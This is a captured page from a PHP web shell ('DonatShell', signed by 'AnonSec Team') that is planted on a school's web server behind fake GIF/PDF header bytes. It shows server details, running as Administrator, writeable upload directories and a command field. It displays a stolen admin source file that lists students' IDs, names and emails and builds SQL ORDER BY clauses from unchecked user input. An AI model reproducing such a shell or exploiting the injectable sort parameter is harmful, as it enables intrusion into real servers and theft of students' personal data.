GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/User/userList.phpinc
<?
// User/userList.phpinc
// Display a list of Users.

if (!isset($_SESSION['sortBy'])) { $_SESSION['sortBy'] = ""; }
#if (!isset($_SESSION['sortByOrder'])) { $_SESSION['sortByOrder'] = "ASC"; }

$sortBy = formValue('sortBy','');

if ( $sortBy != '' ) {
	list($part1, $part2, $sortByOrder) = explode(' ',$sortBy);
	$sortBy = $part1.' '.$part2;
	unset($part1);
	unset($part2);
} else {
	$sortByOrder = 'ASC';
}
$_SESSION['sortByOrder'] = $sortByOrder;
$_SESSION['sortBy'] = $sortBy;

#printVar('$sortBy',$sortBy);
#printVar("\$_SESSION['sortBy']",$_SESSION['sortBy']);
#printVar("\$_SESSION['sortByOrder']",$_SESSION['sortByOrder']);
#printVar("\$_SESSION['sortByOrder']",$_SESSION['sortByOrder']);

if ($_SESSION['sortBy'] == '') { $_SESSION['sortBy'] = 'First Name'; }
switch ($_SESSION['sortBy']) {
	case '':
	case 'First Name':
		#$f_orderBy = "CASE WHEN userNickname='' or userNickname is null THEN userFirstName ELSE userNickname END ".$_SESSION['sortByOrder'].', userLastName';
		$f_orderBy = "IF ( userNickname='' or userNickname IS NULL, userFirstName, userNickname ) ".$_SESSION['sortByOrder'].', userLastName';
		break;
	case 'Last Name':
		$f_orderBy = 'userLastName '.$_SESSION['sortByOrder'].', userFirstName';
		break;
	case 'Student Id':
		$f_orderBy = 'userStudentId '.$_SESSION['sortByOrder'];
		break;
	case 'User Id':
		$f_orderBy = 'userId '.$_SESSION['sortByOrder'];
		break;
	default:
		$f_orderBy = "CASE WHEN userNickname='' or userNickname is null THEN userFirstName ELSE userNickname END ".$_SESSION['sortByOrder'].', userLastName';
		break;
}
$query = "
  SELECT *
    FROM user
		
   WHERE userIsInactive = 0
ORDER BY ".$f_orderBy."
";
#printVar('$query',$query);
$userResult = query_do($query);
#printQuery('$userResult',$userResult);
$userCount = $_SESSION['qry']['count'];
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userCount=".$userCount."<br>\n"; }
$sectionTitle = '_CST_ - Users';
include('common/sectionHeader.phpinc');

if ($userCount != 1) {
	$userCountText = $userCount." users";
} else {
	$userCountText = $userCount." user";
}
?>
<fieldset><legend>User List <span class="smaller">(<?=$userCountText?> sorted by <?=$_SESSION['sortBy']?>) <span class="smaller">(Sort by:
<?
if ( $_SESSION['sortBy'] == 'First Name' ) { $class = 'menuCurrent'; if ( $_SESSION['sortByOrder'] == "ASC" ) { $sortChar = '&darr;'; $sortByOrder = 'DESC'; } else { $sortChar = '&uarr;'; $sortByOrder = 'ASC'; } } else { $class = ''; $sortChar = '&uarr;'; $sortByOrder = 'ASC'; }
?>
<a href="<?=$_SERVER['PHP_SELF']?>?sortBy=First Name <?=$sortByOrder?>"><span class="<?=$class?>">First Name<?=$sortChar?></span></a>,

<?
if ( $_SESSION['sortBy'] == 'Last Name' ) { $class = 'menuCurrent'; if ( $_SESSION['sortByOrder'] == "ASC" ) { $sortChar = '&darr;'; $sortByOrder = 'DESC'; } else { $sortChar = '&uarr;'; $sortByOrder = 'ASC'; } } else { $class = ''; $sortChar = '&uarr;'; $sortByOrder = 'ASC'; }
?>
<a href="<?=$_SERVER['PHP_SELF']?>?sortBy=Last Name <?=$sortByOrder?>"><span class="<?=$class?>">Last Name<?=$sortChar?></span></a>,

<?
if ( $_SESSION['sortBy'] == 'Student Id' ) { $class = 'menuCurrent'; if ( $_SESSION['sortByOrder'] == "ASC" ) { $sortChar = '&darr;'; $sortByOrder = 'DESC'; } else { $sortChar = '&uarr;'; $sortByOrder = 'ASC'; } } else { $class = ''; $sortChar = '&uarr;'; $sortByOrder = 'ASC'; }
?>
<a href="<?=$_SERVER['PHP_SELF']?>?sortBy=Student Id <?=$sortByOrder?>"><span class="<?=$class?>">Student Id<?=$sortChar?></span></a>,

<?
if ( $_SESSION['sortBy'] == 'User Id' ) { $class = 'menuCurrent'; if ( $_SESSION['sortByOrder'] == "ASC" ) { $sortChar = '&darr;'; $sortByOrder = 'DESC'; } else { $sortChar = '&uarr;'; $sortByOrder = 'ASC'; } } else { $class = ''; $sortChar = '&uarr;'; $sortByOrder = 'ASC'; }
?>
<a href="<?=$_SERVER['PHP_SELF']?>?sortBy=User Id <?=$sortByOrder?>"><span class="<?=$class?>">User Id<?=$sortChar?></span></a>,

)</span></span></legend>
<?
if ($userCount) {
	$usersPerColumn = (int) ($userCount/4+.99);
	//echo $usersPerColumn."<br>\n";
?>
	<table cellpadding="0" cellspacing="0"><tr>
<?
  mysqli_data_seek($userResult, 0);
  $usersThisColumn = 0;
	while ($userRow = mysqli_fetch_assoc($userResult)) {
		if ($userRow['userLoginCount']) {
			// User has logged in.
			if (date_difference($userRow['userAccessTime'], currentDateTime()) <= 14) {
				// User has logged in within the last two weeks.
				$status = "Current";
			} else {
				if (date_difference($userRow['userAccessTime'], currentDateTime()) <= 90) {
					// User has logged in within the last three months.
					$status = "Recent";
				} else {
					// User has not logged in within the last three months.
					$status = "Older";
				}
			}
		} else {
			// User has never logged in.
			$status = "Never";
		}
		if ($usersThisColumn == 0) {
?>
		<td style="padding-right:10px; font-size:0.8em;">
<?
		}
		if ( $userRow['userNickname'] == '' ) {
			$userDisplay = $userRow['userStudentId'].' '.stripslashes($userRow['userFirstName'].' '.$userRow['userLastName']).' #'.$userRow['userId'];
		} else {
			$userDisplay = $userRow['userStudentId'].' '.stripslashes($userRow['userNickname'].' ('.$userRow['userFirstName'].') '.$userRow['userLastName']).' #'.$userRow['userId'];
		}
?>
		<a href="/Admin/Classes.php?f_userId=<?=$userRow['userId']?>&f_task=Student Profile&f_subtask=View">
		<span class="normal user<?=$status?>" title="lastLogin=<?=valid_date($userRow['userAccessTime'])?>"><?=$userDisplay?></span></a>
		<br>
<?
		$usersThisColumn++;
		if ($usersThisColumn == $usersPerColumn) {
			$usersThisColumn = 0;
?>
		</td>
<?
		}
  }
	if ($usersThisColumn != 0) {
?>
		</td>
<?
	}
?>
		</tr>
<?
	// Get list of users in classes.
	/** /
	$query = "
		SELECT DISTINCT
					 user.userUsername,
					 user.userStudentId,
					 user.userId,
					 user.userFirstName,
					 user.userLastName,
					 user.userEmail,
					 classstudent.userStudentId AS classStudentId
		FROM user
		INNER JOIN classstudent ON classstudent.userStudentId  = user.userStudentId 
		INNER JOIN class ON class.classId = classstudent.classId
		WHERE class.YRTR = '".$_SESSION['YRTR']['CURRENT']."'
		ORDER BY user.userEmail	";
	/**/
	$query = "
		SELECT DISTINCT
					 user.userUsername,
					 user.userStudentId,
					 user.userId,
					 user.userFirstName,
					 user.userLastName,
					 user.userEmail,
					 classstudent.userStudentId AS classStudentId
		FROM user
		INNER JOIN classstudent ON classstudent.userStudentId  = user.userStudentId 
		INNER JOIN class ON class.classId = classstudent.classId
		WHERE class.YRTR = '".$_SESSION['YRTR']['User']."'
		ORDER BY user.userEmail	";
	$userResult = query_do($query);
	$userResultCount = $_SESSION['qry']['count'];
	if ($userResultCount) {
?>
    <tr><td colspan="4">
<?
		mysqli_data_seek($userResult, 0);
		while ($userRow = mysqli_fetch_assoc($userResult)) {
			echo $userRow['userEmail']."; ";
		}
?>
    </td></tr>
<?
	} else {
		
	}
	
?>
</table>
<br>User Login status: 
<span class="userCurrent">Green = &lt; 2 weeks,</span>
<span class="userRecent">Blue = &lt; 3 months,</span>
<span class="userOlder">Orange = &gt; 3 months,</span>
<span class="userNever">Red = Never logged in</span>.
<?
} else {
?>
The user list is empty.
<?
}
?>
</fieldset>

<?
#setDebugOn();
include('common/sectionFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team